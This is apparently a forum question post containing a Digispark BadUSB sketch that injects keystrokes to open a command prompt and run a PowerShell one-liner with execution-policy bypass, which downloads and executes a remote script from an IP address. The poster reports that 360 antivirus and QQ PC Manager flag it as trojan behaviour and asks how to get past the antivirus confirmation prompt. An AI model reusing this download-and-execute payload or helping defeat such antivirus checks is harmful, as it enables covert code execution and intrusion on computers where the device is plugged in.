I found that the 360 antivirus and qq pc manager both detects the badusb as trojan behaviour while I tried to download the ps1 script(even harmless scripts) from the server(local).enter image description here
the codes are as follows:
#include <DigiKeyboard.h>
void setup() {
}
void loop() {
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(0,MOD_SHIFT_LEFT);
DigiKeyboard.print("powershell -exec bypass IEX ((New-Object Net.WebClient).DownloadString('http://122.79.2.88:8080/script.ps1')) -nodownload;");
DigiKeyboard.delay(300);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(300);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;);
}
Could anyone figure out how to bypass this mechanism? the "允许" key means "allow", but it can not be tabbed using the keyboard. The only way is to click it with the mouse.
Comments
Post a Comment